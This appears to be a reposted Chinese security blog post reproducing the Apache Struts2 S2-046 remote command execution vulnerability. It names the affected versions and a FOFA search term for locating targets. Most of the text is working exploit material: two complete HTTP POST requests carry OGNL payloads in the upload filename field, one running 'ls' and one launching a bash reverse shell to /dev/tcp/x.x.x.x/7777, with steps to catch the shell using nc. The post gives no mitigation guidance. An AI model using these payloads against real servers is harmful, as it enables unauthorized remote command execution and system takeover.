本文转载于公众号:融云攻防实验室,原文地址:
漏洞复现-Struts2-046 远程命令执行漏洞
0x01 阅读须知
资源来源于网络,安全小天地只是再次进行分享,使用请遵循本站的免责申明
0x02 漏洞描述
Struts是Apache软件基金会(ASF)赞助的一个开源项目。它最初是Jakarta项目中的一个子项目,并在2004年3月成为ASF的顶级项目。它通过采用JavaServlet/JSP技术,实现了基于JavaEEWeb应用的Model-View-Controller(MVC)设计模式的应用框架,是MVC经典设计模式中的一个经典产品。在Struts2-046中,攻击者可以将恶意代码放入http报文头部的Content-Disposition的filename字段,通过不恰当的filename字段或者大小超过2M的Content-Length字段来触发异常,进而导致任意代码执行。
0x03 漏洞复现
漏洞影响:Struts2.3.5-Struts2.3.31 Struts2.5-Struts2.5.10
FOFA:Struts2
1.构造poc查看文件ls(需要00截断,如图)
POST /doUpload.action HTTP/1.1
Host: x.x.x.x:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------35369542497605438801251914637
Content-Length: 1147
Origin: http://x.x.x.x:8080
DNT: 1
Connection: close
Referer: http://x.x.x.x:8080/doUpload.action
Cookie: JSESSIONID=hk3vrxsec3af1qkbr6rpjjepr
Upgrade-Insecure-Requests: 1
-----------------------------35369542497605438801251914637
Content-Disposition: form-data; name=\"upload\"; filename=\"%{(#ry=\'multipart/form-data\').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=\'ls\').(#iswin=(@java.lang.System@getProperty(\'os.name\').toLowerCase().contains(\'win\'))).(#cmds=(#iswin?{\'cmd.exe\',\'/c\',#cmd}:{\'/bin/bash\',\'-c\',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
2.构造反弹shell脚本,网址:https://ir0ny.top/pentest/reverse-encoder-shell.html
bash -i >& /dev/tcp/x.x.x.x/7777 0>&1
3.nc监听,并执行反弹shell命令,得到一个shell(同上,需要00截断)
POST /doUpload.action HTTP/1.1
Host: x.x.x.x:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------35369542497605438801251914637
Content-Length: 1189
Origin: http://x.x.x.x:8080
DNT: 1
Connection: close
Referer: http://x.x.x.x:8080/doUpload.action
Cookie: JSESSIONID=hk3vrxsec3af1qkbr6rpjjepr
Upgrade-Insecure-Requests: 1
-----------------------------35369542497605438801251914637
Content-Disposition: form-data; name=\"upload\"; filename=\"%{(#nike=\'multipart/form-data\').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=\'bash -i >& /dev/tcp/x.x.x.x/7777 0>&1\').(#iswin=(@java.lang.System@getProperty(\'os.name\').toLowerCase().contains(\'win\'))).(#cmds=(#iswin?{\'cmd.exe\',\'/c\',#cmd}:{\'/bin/bash\',\'-c\',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
THE END
暂无评论内容